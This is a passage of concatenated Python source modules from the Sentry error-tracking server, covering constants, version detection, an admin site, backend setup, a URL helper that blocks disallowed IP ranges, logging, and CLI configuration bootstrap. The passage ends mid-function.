DEFAULT_ALERT_GROUP_THRESHOLD = (1000, 25)  # 1000%, 25 events

# Default paginator value
EVENTS_PER_PAGE = 15

# Default sort option for the group stream
DEFAULT_SORT_OPTION = 'date'

# Setup languages for only available locales
LANGUAGE_MAP = dict(settings.LANGUAGES)
LANGUAGES = [(k, LANGUAGE_MAP[k]) for k in get_all_languages() if k in LANGUAGE_MAP]

# TODO(dcramer): We eventually want to make this user-editable
TAG_LABELS = {
    'exc_type': 'Exception Type',
    'sentry:user': 'User',
    'sentry:filename': 'File',
    'sentry:function': 'Function',
    'sentry:release': 'Release',
    'os': 'OS',
    'url': 'URL',
    'server_name': 'Server',
}

# TODO(dcramer): once this is more flushed out we want this to be extendable
SENTRY_RULES = (
    'sentry.rules.actions.notify_event.NotifyEventAction',
    'sentry.rules.actions.notify_event_service.NotifyEventServiceAction',
    'sentry.rules.conditions.every_event.EveryEventCondition',
    'sentry.rules.conditions.first_seen_event.FirstSeenEventCondition',
    'sentry.rules.conditions.regression_event.RegressionEventCondition',
    'sentry.rules.conditions.tagged_event.TaggedEventCondition',
    'sentry.rules.conditions.event_frequency.EventFrequencyCondition',
    'sentry.rules.conditions.event_frequency.EventUniqueUserFrequencyCondition',
    'sentry.rules.conditions.event_attribute.EventAttributeCondition',
    'sentry.rules.conditions.level.LevelCondition',
)

# methods as defined by http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html + PATCH
HTTP_METHODS = ('GET', 'POST', 'PUT', 'OPTIONS', 'HEAD', 'DELETE', 'TRACE', 'CONNECT', 'PATCH')

CLIENT_RESERVED_ATTRS = (
    'project',
    'errors',
    'event_id',
    'message',
    'checksum',
    'culprit',
    'fingerprint',
    'level',
    'time_spent',
    'logger',
    'server_name',
    'site',
    'received',
    'timestamp',
    'extra',
    'modules',
    'tags',
    'platform',
    'release',
    'environment',
)

DEFAULT_SCRUBBED_FIELDS = (
    'password',
    'secret',
    'passwd',
    'authorization',
    'api_key',
    'apikey',
    'access_token',
)

VALID_PLATFORMS = set([
    'as3',
    'c',
    'cfml',
    'cocoa',
    'csharp',
    'go',
    'java',
    'javascript',
    'node',
    'objc',
    'other',
    'perl',
    'php',
    'python',
    'ruby',
    'elixir',
    'haskell',
    'groovy',
])

OK_PLUGIN_ENABLED = _("The {name} integration has been enabled.")

OK_PLUGIN_DISABLED = _("The {name} integration has been disabled.")

OK_PLUGIN_SAVED = _('Configuration for the {name} integration has been saved.')

WARN_SESSION_EXPIRED = 'Your session has expired.'  # TODO: translate this

# Key to use when ordering a list of events manually
EVENT_ORDERING_KEY = attrgetter('datetime', 'id')

FILTER_MASK = '[Filtered]'

# Maximum length of a symbol
MAX_SYM = 256

# Known dsym mimetypes
KNOWN_DSYM_TYPES = {
    'application/x-mach-binary': 'macho'
}






"""
sentry
~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import os
import os.path

try:
    VERSION = __import__('pkg_resources') \
        .get_distribution('sentry').version
except Exception as e:
    VERSION = 'unknown'


def _get_git_revision(path):
    revision_file = os.path.join(path, 'refs', 'heads', 'master')
    if not os.path.exists(revision_file):
        return None
    fh = open(revision_file, 'r')
    try:
        return fh.read().strip()
    finally:
        fh.close()


def get_revision():
    """
    :returns: Revision number of this branch/checkout, if available. None if
        no revision number can be determined.
    """
    if 'SENTRY_BUILD' in os.environ:
        return os.environ['SENTRY_BUILD']
    package_dir = os.path.dirname(__file__)
    checkout_dir = os.path.normpath(os.path.join(package_dir, os.pardir, os.pardir))
    path = os.path.join(checkout_dir, '.git')
    if os.path.exists(path):
        return _get_git_revision(path)
    return None


def get_version():
    if __build__:
        return '%s.%s' % (__version__, __build__)
    return __version__


def is_docker():
    # One of these environment variables are guaranteed to exist
    # from our official docker images.
    # SENTRY_VERSION is from a tagged release, and SENTRY_BUILD is from a
    # a git based image.
    return 'SENTRY_VERSION' in os.environ or 'SENTRY_BUILD' in os.environ

__version__ = VERSION
__build__ = get_revision()
__docformat__ = 'restructuredtext en'






from __future__ import absolute_import

from copy import copy
from django.contrib import admin


class RestrictiveAdminSite(admin.AdminSite):
    def has_permission(self, request):
        return request.is_superuser()


def make_site():
    admin.autodiscover()

    # now kill off autodiscover since it would reset the registry
    admin.autodiscover = lambda: None

    site = RestrictiveAdminSite()
    # copy over the autodiscovery
    site._registry = copy(admin.site._registry)

    # clear the default site registry to avoid leaking an insecure admin
    admin.site._registry = {}

    # rebind our admin site to maintain compatibility
    admin.site = site

    return site


site = make_site()






"""
sentry.app
~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from threading import local

from django.conf import settings
from raven.contrib.django.models import client

from sentry.utils import redis
from sentry.utils.imports import import_string
from sentry.utils.locking.backends.redis import RedisLockBackend
from sentry.utils.locking.manager import LockManager


class State(local):
    request = None
    data = {}

env = State()


def get_instance(path, options):
    cls = import_string(path)
    return cls(**options)


# TODO(dcramer): this is getting heavy, we should find a better way to structure
# this
buffer = get_instance(settings.SENTRY_BUFFER, settings.SENTRY_BUFFER_OPTIONS)
digests = get_instance(settings.SENTRY_DIGESTS, settings.SENTRY_DIGESTS_OPTIONS)
quotas = get_instance(settings.SENTRY_QUOTAS, settings.SENTRY_QUOTA_OPTIONS)
nodestore = get_instance(
    settings.SENTRY_NODESTORE, settings.SENTRY_NODESTORE_OPTIONS)
ratelimiter = get_instance(
    settings.SENTRY_RATELIMITER, settings.SENTRY_RATELIMITER_OPTIONS)
search = get_instance(settings.SENTRY_SEARCH, settings.SENTRY_SEARCH_OPTIONS)
tsdb = get_instance(settings.SENTRY_TSDB, settings.SENTRY_TSDB_OPTIONS)
raven = client
locks = LockManager(RedisLockBackend(redis.clusters.get('default')))






"""
sentry.utils.http
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import sentry

import ipaddress
import six
import socket
import requests
import warnings

from sentry import options
from django.conf import settings
from requests.adapters import HTTPAdapter
from requests.exceptions import SSLError
from six.moves.urllib.parse import urlparse

from sentry.exceptions import RestrictedIPAddress

# In case SSL is unavailable (light builds) we can't import this here.
try:
    from OpenSSL.SSL import ZeroReturnError
except ImportError:
    class ZeroReturnError(Exception):
        pass

USER_AGENT = 'sentry/{version} (https://getsentry.com)'.format(
    version=sentry.VERSION,
)

DISALLOWED_IPS = {
    ipaddress.ip_network(six.text_type(i), strict=False)
    for i in settings.SENTRY_DISALLOWED_IPS
}


def get_server_hostname():
    return urlparse(options.get('system.url-prefix')).hostname


def is_valid_url(url):
    """
    Tests a URL to ensure it doesn't appear to be a blacklisted IP range.
    """
    # If we have no disallowed ips, we can skip any further validation
    # and there's no point in doing a DNS lookup to validate against
    # an empty list.
    if not DISALLOWED_IPS:
        return True

    parsed = urlparse(url)
    if not parsed.hostname:
        return False

    server_hostname = get_server_hostname()

    if parsed.hostname == server_hostname:
        return True

    # NOTE: The use of `socket.gethostbyname` is slightly flawed.
    # `gethostbyname` doesn't handle octal IP addresses correctly, nor
    # does it fetch all of the IP addresses for the record.
    # `getaddrinfo` does the correct thing with octals here, and also returns all
    # ip addresses for the hostname.
    #
    # WARNING: This behavior is only correct on Linux. On OSX, `getaddrinfo` also
    # returns the wrong IP.
    #
    # The following should all technically resolve to `127.0.0.1`:
    # Python 2.7.11 Linux
    # >>> socket.gethostbyname('0177.0000.0000.0001')
    # '177.0.0.1'
    # >>> socket.getaddrinfo('0177.0000.0000.0001', 0)[0]
    # (2, 1, 6, '', ('127.0.0.1', 0))
    # Python 2.7.11 macOS
    # >>> socket.gethostbyname('0177.0000.0000.0001')
    # '177.0.0.1'
    # >>> socket.getaddrinfo('0177.0000.0000.0001', None)[0]
    # (2, 2, 17, '', ('177.0.0.1', 0))
    try:
        ip_addresses = set(addr for _, _, _, _, addr in socket.getaddrinfo(parsed.hostname, 0))
    except socket.gaierror:
        return False

    for addr in ip_addresses:
        ip_address = addr[0]
        if ip_address == server_hostname:
            return True

        ip_address = ipaddress.ip_address(six.text_type(ip_address))
        for ip_network in DISALLOWED_IPS:
            if ip_address in ip_network:
                return False

    return True


class BlacklistAdapter(HTTPAdapter):
    def send(self, request, *args, **kwargs):
        if not is_valid_url(request.url):
            raise RestrictedIPAddress('%s matches the URL blacklist' % (request.url,))
        return super(BlacklistAdapter, self).send(request, *args, **kwargs)


def build_session():
    session = requests.Session()
    session.headers.update({'User-Agent': USER_AGENT})
    session.mount('https://', BlacklistAdapter())
    session.mount('http://', BlacklistAdapter())
    return session


def safe_urlopen(url, method=None, params=None, data=None, json=None,
                 headers=None, allow_redirects=False, timeout=30,
                 verify_ssl=True, user_agent=None):
    """
    A slightly safer version of ``urlib2.urlopen`` which prevents redirection
    and ensures the URL isn't attempting to hit a blacklisted IP range.
    """
    if user_agent is not None:
        warnings.warn('user_agent is no longer used with safe_urlopen')

    session = build_session()

    kwargs = {}

    if json:
        kwargs['json'] = json
        if not headers:
            headers = {}
        headers.setdefault('Content-Type', 'application/json')

    if data:
        kwargs['data'] = data

    if params:
        kwargs['params'] = params

    if headers:
        kwargs['headers'] = headers

    if method is None:
        method = 'POST' if (data or json) else 'GET'

    try:
        response = session.request(
            method=method,
            url=url,
            allow_redirects=allow_redirects,
            timeout=timeout,
            verify=verify_ssl,
            **kwargs
        )
    # Our version of requests does not transform ZeroReturnError into an
    # appropriately generically catchable exception
    except ZeroReturnError as exc:
        import sys
        exc_tb = sys.exc_info()[2]
        six.reraise(SSLError, exc, exc_tb)
        del exc_tb

    # requests' attempts to use chardet internally when no encoding is found
    # and we want to avoid that slow behavior
    if not response.encoding:
        response.encoding = 'utf-8'

    return response


def safe_urlread(response):
    return response.content






"""
sentry.logging.handlers
~~~~~~~~~~~~~~~~~~~~~~~
:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six
import logging

from django.utils.timezone import now
from simplejson import JSONEncoder
from structlog import get_logger
from structlog.processors import _json_fallback_handler

_default_encoder = JSONEncoder(
    separators=(',', ':'),
    ignore_nan=True,
    skipkeys=False,
    ensure_ascii=True,
    check_circular=True,
    allow_nan=True,
    indent=None,
    encoding='utf-8',
    default=_json_fallback_handler,
).encode

# These are values that come default from logging.LogRecord.
# They are defined here: https://github.com/python/cpython/blob/2.7/Lib/logging/__init__.py#L237-L310
throwaways = frozenset((
    'threadName', 'thread', 'created', 'process', 'processName', 'args',
    'module', 'filename', 'levelno', 'exc_text', 'msg', 'pathname', 'lineno',
    'funcName', 'relativeCreated', 'levelname', 'msecs',
))


class JSONRenderer(object):
    def __call__(self, logger, name, event_dict):
        return _default_encoder(event_dict)


class HumanRenderer(object):
    def __call__(self, logger, name, event_dict):
        level = event_dict.pop('level')
        real_level = (level.upper()
            if isinstance(level, six.string_types)
            else logging.getLevelName(level)
        )
        base = '%s [%s] %s: %s' % (
            now().strftime('%H:%M:%S'),
            real_level,
            event_dict.pop('name', 'root'),
            event_dict.pop('event', ''),
        )
        join = ' '.join(k + '=' + repr(v)
               for k, v in six.iteritems(event_dict))
        return '%s%s' % (base, (' (%s)' % join if join else ''))


class StructLogHandler(logging.StreamHandler):
    def emit(self, record, logger=get_logger()):
        # If anyone wants to use the 'extra' kwarg to provide context within
        # structlog, we have to strip all of the default attributes from
        # a record because the RootLogger will take the 'extra' dictionary
        # and just turn them into attributes.
        kwargs = {
            k: v
            for k, v in six.iteritems(vars(record))
            if k not in throwaways
            and v is not None
        }
        kwargs.update({
            'level': record.levelno,
            'event': record.msg,
        })

        if record.args:
            # record.args inside of LogRecord.__init__ gets unrolled
            # if it's the shape `({},)`, a single item dictionary.
            # so we need to check for this, and re-wrap it because
            # down the line of structlog, it's expected to be this
            # original shape.
            if isinstance(record.args, (tuple, list)):
                kwargs['positional_args'] = record.args
            else:
                kwargs['positional_args'] = (record.args,)

        logger.log(**kwargs)






"""
sentry.logging
~~~~~~~~~~~~~~
:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from structlog import get_logger


class LoggingFormat(object):
    HUMAN = 'human'
    MACHINE = 'machine'


def bind(name, **kwargs):
    """
    Syntactic sugar for binding arbitrary kv pairs to a given logger instantiated from
    logging.getLogger instead of structlog.get_logger.
    """
    return get_logger(name=name).bind(**kwargs)






"""
sentry.runner.decorators
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os

from click import Choice

LOG_LEVELS = ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'FATAL')


class CaseInsensitiveChoice(Choice):
    def convert(self, value, param, ctx):
        self.choices = [choice.upper() for choice in self.choices]
        return super(CaseInsensitiveChoice, self).convert(value.upper(), param, ctx)


def configuration(f):
    "Load and configure Sentry."
    import click
    from functools import update_wrapper

    @click.pass_context
    def inner(ctx, *args, **kwargs):
        # HACK: We can't call `configure()` from within tests
        # since we don't load config files from disk, so we
        # need a way to bypass this initialization step
        if os.environ.get('_SENTRY_SKIP_CONFIGURATION') != '1':
            from sentry.runner import configure
            configure()
        return ctx.invoke(f, *args, **kwargs)
    return update_wrapper(inner, f)


def log_options(default=None):
    def decorator(f):
        """
        Give ability to configure global logging level/format.
        Must be used before configuration.
        """
        import click
        from functools import update_wrapper
        from sentry.logging import LoggingFormat
        formats = [LoggingFormat.HUMAN, LoggingFormat.MACHINE]

        @click.pass_context
        @click.option('--loglevel', '-l', default=default,
            help='Global logging level. Use wisely.',
            envvar='SENTRY_LOG_LEVEL',
            type=CaseInsensitiveChoice(LOG_LEVELS))
        @click.option('--logformat', default=default,
            help='Log line format.',
            envvar='SENTRY_LOG_FORMAT',
            type=CaseInsensitiveChoice(formats))
        def inner(ctx, loglevel=None, logformat=None, *args, **kwargs):
            if loglevel:
                os.environ['SENTRY_LOG_LEVEL'] = loglevel
            if logformat:
                os.environ['SENTRY_LOG_FORMAT'] = logformat.lower()
            return ctx.invoke(f, *args, **kwargs)
        return update_wrapper(inner, f)
    return decorator






"""
sentry.runner.settings
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os
import click


DEFAULT_SETTINGS_MODULE = 'sentry.conf.server'
DEFAULT_SETTINGS_CONF = 'config.yml'
DEFAULT_SETTINGS_OVERRIDE = 'sentry.conf.py'


def generate_secret_key():
    from django.utils.crypto import get_random_string
    chars = u'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)'
    return get_random_string(50, chars)


def load_config_template(path, version='default'):
    from pkg_resources import resource_string
    return resource_string('sentry', 'data/config/%s.%s' % (path, version)).decode('utf8')


def generate_settings(dev=False):
    """
    This command is run when ``default_path`` doesn't exist, or ``init`` is
    run and returns a string representing the default data to put into their
    settings file.
    """
    context = {
        'secret_key': generate_secret_key(),
        'debug_flag': dev,
        'mail.backend': 'console' if dev else 'smtp',
    }

    py = load_config_template(DEFAULT_SETTINGS_OVERRIDE, 'default') % context
    yaml = load_config_template(DEFAULT_SETTINGS_CONF, 'default') % context
    return py, yaml


def get_sentry_conf():
    """
    Fetch the SENTRY_CONF value, either from the click context
    if available, or SENTRY_CONF environment variable.
    """
    try:
        ctx = click.get_current_context()
        return ctx.obj['config']
    except (RuntimeError, KeyError):
        try:
            return os.environ['SENTRY_CONF']
        except KeyError:
            return '~/.sentry'


def discover_configs():
    """
    Discover the locations of three configuration components:
     * Config directory (~/.sentry)
     * Optional python config file (~/.sentry/sentry.conf.py)
     * Optional yaml config (~/.sentry/config.yml)
    """
    try:
        config = os.environ['SENTRY_CONF']
    except KeyError:
        config = '~/.sentry'

    config = os.path.expanduser(config)

    # This is the old, now deprecated code path where SENTRY_CONF is pointed directly
    # to a python file
    if config.endswith(('.py', '.conf')) or os.path.isfile(config):
        return (
            os.path.dirname(config),
            config,
            None,
        )

    return (
        config,
        os.path.join(config, DEFAULT_SETTINGS_OVERRIDE),
        os.path.join(config, DEFAULT_SETTINGS_CONF),
    )


def configure(ctx, py, yaml, skip_backend_validation=False):
    """
    Given the two different config files, set up the environment.

    NOTE: Will only execute once, so it's safe to call multiple times.
    """
    global __installed
    if __installed:
        return

    # Make sure that our warnings are always displayed
    import warnings
    warnings.filterwarnings('default', '', Warning, r'^sentry')

    # Add in additional mimetypes that are useful for our static files
    # which aren't common in default system registries
    import mimetypes
    for type, ext in (
        ('application/json', 'map'),
        ('application/font-woff', 'woff'),
        ('application/font-woff2', 'woff2'),
        ('application/vnd.ms-fontobject', 'eot'),
        ('application/x-font-ttf', 'ttf'),
        ('application/x-font-ttf', 'ttc'),
        ('font/opentype', 'otf'),
    ):
        mimetypes.add_type(type, '.' + ext)

    from .importer import install

    if yaml is None:
        # `yaml` will be None when SENTRY_CONF is pointed
        # directly to a file, in which case, this file must exist
        if not os.path.exists(py):
            if ctx:
                raise click.ClickException("Configuration file does not exist. Use 'sentry init' to initialize the file.")
            raise ValueError("Configuration file does not exist at '%s'" % click.format_filename(py))
    elif not os.path.exists(yaml) and not os.path.exists(py):
        if ctx:
            raise click.ClickException("Configuration file does not exist. Use 'sentry init' to initialize the file.")
        raise ValueError("Configuration file does not exist at '%s'" % click.format_filename(yaml))

    # Add autoreload for config.yml file if needed
    if 'UWSGI_PY_AUTORELOAD' in os.environ:
        if yaml is not None and os.path.exists(yaml):
            try:
                import uwsgi
                from uwsgidecorators import filemon
            except ImportError:
                pass
            else:
                filemon(yaml)(uwsgi.reload)

    os.environ['DJANGO_SETTINGS_MODULE'] = 'sentry_config'

    install('sentry_config', py, DEFAULT_SETTINGS_MODULE)

    # HACK: we need to force access of django.conf.settings to
    # ensure we don't hit any import-driven recursive behavior
    from django.conf import settings
    hasattr(settings, 'INSTALLED_APPS')

    from .initializer import initialize_app, on_configure
    initialize_app({
        'config_path': py,
        'settings': settings,
        'options': yaml,
    }, skip_backend_validation=skip_backend_validation)
    on_configure({'settings': settings})

    __installed = True


__installed = False






"""
sentry.runner
~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os
import click
import sys
import sentry
import datetime
from sentry.utils.imports import import_string


# We need to run this here because of a concurrency bug in Python's locale
# with the lazy initialization.
datetime.datetime.strptime('', '')

# Parse out a pretty version for use with --version
if sentry.__build__ is None:
    version_string = sentry.VERSION
else:
    version_string = '%s (%s)' % (sentry.VERSION, sentry.__build__[:12])


@click.group()
@click.option(
    '--config',
    default='',
    envvar='SENTRY_CONF',
    help='Path to configuration files.',
    metavar='PATH')
@click.version_option(version=version_string)
@click.pass_context
def cli(ctx, config):
    """Sentry is cross-platform crash reporting built with love.

    The configuration file is looked up in the `~/.sentry` config
    directory but this can be overridden with the `SENTRY_CONF`
    environment variable or be explicitly provided through the
    `--config` parameter.
    """
    # Elevate --config option to SENTRY_CONF env var, and just assume this
    # always will exist down the line
    if config:
        os.environ['SENTRY_CONF'] = config
    os.environ.setdefault('SENTRY_CONF', '~/.sentry')


# TODO(mattrobenolt): Autodiscover commands?
list(map(lambda cmd: cli.add_command(import_string(cmd)), (
    'sentry.runner.commands.backup.export',
    'sentry.runner.commands.backup.import_',
    'sentry.runner.commands.cleanup.cleanup',
    'sentry.runner.commands.config.config',
    'sentry.runner.commands.createuser.createuser',
    'sentry.runner.commands.devserver.devserver',
    'sentry.runner.commands.django.django',
    'sentry.runner.commands.exec.exec_',
    'sentry.runner.commands.files.files',
    'sentry.runner.commands.help.help',
    'sentry.runner.commands.init.init',
    'sentry.runner.commands.plugins.plugins',
    'sentry.runner.commands.queues.queues',
    'sentry.runner.commands.repair.repair',
    'sentry.runner.commands.run.run',
    'sentry.runner.commands.start.start',
    'sentry.runner.commands.tsdb.tsdb',
    'sentry.runner.commands.upgrade.upgrade',
    'sentry.runner.commands.dsym.dsym',
)))


def make_django_command(name, django_command=None, help=None):
    "A wrapper to convert a Django subcommand a Click command"
    if django_command is None:
        django_command = name

    @click.command(
        name=name,
        help=help,
        add_help_option=False,
        context_settings=dict(
            ignore_unknown_options=True,
        ))
    @click.argument('management_args', nargs=-1, type=click.UNPROCESSED)
    @click.pass_context
    def inner(ctx, management_args):
        from sentry.runner.commands.django import django
        ctx.params['management_args'] = (django_command,) + management_args
        ctx.forward(django)

    return inner


list(map(cli.add_command, (
    make_django_command('shell', help='Run a Python interactive interpreter.'),
    make_django_command('celery', help='DEPRECATED see `sentry run` instead.'),
)))


def configure():
    """
    Kick things off and configure all the things.

    A guess is made as to whether the entrypoint is coming from Click
    or from another invocation of `configure()`. If Click, we're able
    to pass along the Click context object.
    """
    from .settings import discover_configs, configure
    try:
        ctx = click.get_current_context()
    except RuntimeError:
        ctx = None
    _, py, yaml = discover_configs()

    # TODO(mattrobenolt): Surface this also as a CLI option?
    skip_backend_validation = 'SENTRY_SKIP_BACKEND_VALIDATION' in os.environ
    configure(ctx, py, yaml, skip_backend_validation)


def get_prog():
    """
    Extract the proper program executable.

    In the case of `python -m sentry`, we want to detect this and
    make sure we return something useful rather than __main__.py
    """
    try:
        if os.path.basename(sys.argv[0]) in ('__main__.py', '-c'):
            return '%s -m sentry' % sys.executable
    except (AttributeError, TypeError, IndexError):
        pass
    return 'sentry'


class UnknownCommand(ImportError):
    pass


def call_command(name, obj=None, **kwargs):
    try:
        command = import_string(name)
    except (ImportError, AttributeError):
        raise UnknownCommand(name)

    with command.make_context('sentry', [], obj=obj or {}) as ctx:
        ctx.params.update(kwargs)
        try:
            command.invoke(ctx)
        except click.Abort:
            click.echo('Aborted!', err=True)


def main():
    cli(prog_name=get_prog(), obj={}, max_content_width=100)






"""
sentry.runner.initializer
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
import os
import six

from sentry.utils import warnings
from sentry.utils.warnings import DeprecatedSettingWarning


def install_plugin_apps(settings):
    # entry_points={
    #    'sentry.apps': [
    #         'phabricator = sentry_phabricator'
    #     ],
    # },
    from pkg_resources import iter_entry_points
    installed_apps = list(settings.INSTALLED_APPS)
    for ep in iter_entry_points('sentry.apps'):
        installed_apps.append(ep.module_name)
    settings.INSTALLED_APPS = tuple(installed_apps)


def register_plugins(settings):
    from pkg_resources import iter_entry_points
    from sentry.plugins import register
    # entry_points={
    #    'sentry.plugins': [
    #         'phabricator = sentry_phabricator.plugins:PhabricatorPlugin'
    #     ],
    # },

    for ep in iter_entry_points('sentry.plugins'):
        try:
            plugin = ep.load()
        except Exception:
            import traceback
            click.echo("Failed to load plugin %r:\n%s" % (ep.name, traceback.format_exc()), err=True)
        else:
            register(plugin)


def initialize_receivers():
    # force signal registration
    import sentry.receivers  # NOQA


def get_asset_version(settings):
    path = os.path.join(settings.STATIC_ROOT, 'version')
    try:
        with open(path) as fp:
            return fp.read().strip()
    except IOError:
        from time import time
        return int(time())


# Options which must get extracted into Django settings while
# bootstrapping. Everything else will get validated and used
# as a part of OptionsManager.
options_mapper = {
    # 'cache.backend': 'SENTRY_CACHE',
    # 'cache.options': 'SENTRY_CACHE_OPTIONS',
    # 'system.databases': 'DATABASES',
    # 'system.debug': 'DEBUG',
    'system.secret-key': 'SECRET_KEY',
    'mail.backend': 'EMAIL_BACKEND',
    'mail.host': 'EMAIL_HOST',
    'mail.port': 'EMAIL_PORT',
    'mail.username': 'EMAIL_HOST_USER',
    'mail.password': 'EMAIL_HOST_PASSWORD',
    'mail.use-tls': 'EMAIL_USE_TLS',
    'mail.from': 'SERVER_EMAIL',
    'mail.subject-prefix': 'EMAIL_SUBJECT_PREFIX',
}


def bootstrap_options(settings, config=None):
    """
    Quickly bootstrap options that come in from a config file
    and convert options into Django settings that are
    required to even initialize the rest of the app.
    """
    # Make sure our options have gotten registered
    from sentry.options import load_defaults
    load_defaults()

    options = {}
    if config is not None:
        # Attempt to load our config yaml file
        from sentry.utils.yaml import safe_load
        from yaml.parser import ParserError
        from yaml.scanner import ScannerError
        try:
            with open(config, 'rb') as fp:
                options = safe_load(fp)
        except IOError:
            # Gracefully fail if yaml file doesn't exist
            pass
        except (AttributeError, ParserError, ScannerError) as e:
            from .importer import ConfigurationError
            raise ConfigurationError('Malformed config.yml file: %s' % six.text_type(e))

        # Empty options file, so fail gracefully
        if options is None:
            options = {}
        # Options needs to be a dict
        elif not isinstance(options, dict):
            from .importer import ConfigurationError
            raise ConfigurationError('Malformed config.yml file')

    from sentry.conf.server import DEAD

    # First move options from settings into options
    for k, v in six.iteritems(options_mapper):
        if getattr(settings, v, DEAD) is not DEAD and k not in options:
            warnings.warn(
                DeprecatedSettingWarning(
                    options_mapper[k],
                    "SENTRY_OPTIONS['%s']" % k,
                )
            )
            options[k] = getattr(settings, v)

    # Stuff everything else into SENTRY_OPTIONS
    # these will be validated later after bootstrapping
    for k, v in six.iteritems(options):
        settings.SENTRY_OPTIONS[k] = v

    # Now go back through all of SENTRY_OPTIONS and promote
    # back into settings. This catches the case when values are defined
    # only in SENTRY_OPTIONS and no config.yml file
    for o in (settings.SENTRY_DEFAULT_OPTIONS, settings.SENTRY_OPTIONS):
        for k, v in six.iteritems(o):
            if k in options_mapper:
                # Map the mail.backend aliases to something Django understands
                if k == 'mail.backend':
                    try:
                        v = settings.SENTRY_EMAIL_BACKEND_ALIASES[v]
                    except KeyError:
                        pass
                # Escalate the few needed to actually get the app bootstrapped into settings
                setattr(settings, options_mapper[k], v)


def configure_structlog():
    """
    Make structlog comply with all of our options.
    """
    from django.conf import settings
    import logging
    import structlog
    from sentry import options
    from sentry.logging import LoggingFormat
    WrappedDictClass = structlog.threadlocal.wrap_dict(dict)
    kwargs = {
        'context_class': WrappedDictClass,
        'wrapper_class': structlog.stdlib.BoundLogger,
        'cache_logger_on_first_use': True,
        'processors': [
            structlog.stdlib.add_log_level,
            structlog.stdlib.PositionalArgumentsFormatter(),
            structlog.processors.format_exc_info,
            structlog.processors.StackInfoRenderer(),
        ]
    }

    fmt_from_env = os.environ.get('SENTRY_LOG_FORMAT')
    if fmt_from_env:
        settings.SENTRY_OPTIONS['system.logging-format'] = fmt_from_env.lower()

    fmt = options.get('system.logging-format')

    if fmt == LoggingFormat.HUMAN:
        from sentry.logging.handlers import HumanRenderer
        kwargs['processors'].extend([
            structlog.processors.ExceptionPrettyPrinter(),
            HumanRenderer(),
        ])
    elif fmt == LoggingFormat.MACHINE:
        from sentry.logging.handlers import JSONRenderer
        kwargs['processors'].append(JSONRenderer())

    structlog.configure(**kwargs)

    lvl = os.environ.get('SENTRY_LOG_LEVEL')

    if lvl and lvl not in logging._levelNames:
        raise AttributeError('%s is not a valid logging level.' % lvl)

    settings.LOGGING['root'].update({
        'level': lvl or settings.LOGGING['default_level']
    })

    if lvl:
        for logger in settings.LOGGING['overridable']:
            try:
                settings.LOGGING['loggers'][logger].update({
                    'level': lvl
                })
            except KeyError:
                raise KeyError('%s is not a defined logger.' % logger)

    logging.config.dictConfig(settings.LOGGING)


def initialize_app(config, skip_backend_validation=False):
    settings = config['settings']

    bootstrap_options(settings, config['options'])

    configure_structlog()

    fix_south(settings)

    apply_legacy_settings(settings)

    bind_cache_to_option_store()

    install_plugin_apps(settings)

    # Commonly setups don't correctly configure themselves for production envs
    # so lets try to provide a bit more guidance
    if settings.CELERY_ALWAYS_EAGER and not settings.DEBUG:
        warnings.warn('Sentry is configured to run asynchronous tasks in-process. '
                      'This is not recommended within production environments. '
                      'See https://docs.sentry.io/on-premise/server/queue/ for more information.')

    if settings.SENTRY_SINGLE_ORGANIZATION:
        settings.SENTRY_FEATURES['organizations:create'] = False

    if not hasattr(settings, 'SUDO_COOKIE_SECURE'):
        settings.SUDO_COOKIE_SECURE = getattr(settings, 'SESSION_COOKIE_SECURE', False)
    if not hasattr(settings, 'SUDO_COOKIE_DOMAIN'):
        settings.SUDO_COOKIE_DOMAIN = getattr(settings, 'SESSION_COOKIE_DOMAIN', None)
    if not hasattr(settings, 'SUDO_COOKIE_PATH'):
        settings.SUDO_COOKIE_PATH = getattr(settings, 'SESSION_COOKIE_PATH', '/')

    if not hasattr(settings, 'CSRF_COOKIE_SECURE'):
        settings.CSRF_COOKIE_SECURE = getattr(settings, 'SESSION_COOKIE_SECURE', False)
    if not hasattr(settings, 'CSRF_COOKIE_DOMAIN'):
        settings.CSRF_COOKIE_DOMAIN = getattr(settings, 'SESSION_COOKIE_DOMAIN', None)
    if not hasattr(settings, 'CSRF_COOKIE_PATH'):
        settings.CSRF_COOKIE_PATH = getattr(settings, 'SESSION_COOKIE_PATH', '/')

    settings.CACHES['default']['VERSION'] = settings.CACHE_VERSION

    settings.ASSET_VERSION = get_asset_version(settings)
    settings.STATIC_URL = settings.STATIC_URL.format(
        version=settings.ASSET_VERSION,
    )

    register_plugins(settings)

    initialize_receivers()

    validate_options(settings)

    if not skip_backend_validation:
        validate_backends()

    from django.utils import timezone
    from sentry.app import env
    from sentry.runner.settings import get_sentry_conf
    env.data['config'] = get_sentry_conf()
    env.data['start_date'] = timezone.now()


def validate_backends():
    from sentry import app

    backends = (
        app.buffer,
        app.digests,
        app.nodestore,
        app.quotas,
        app.ratelimiter,
        app.search,
        app.tsdb,
    )

    for backend in backends:
        backend.validate()


def validate_options(settings):
    from sentry.options import default_manager
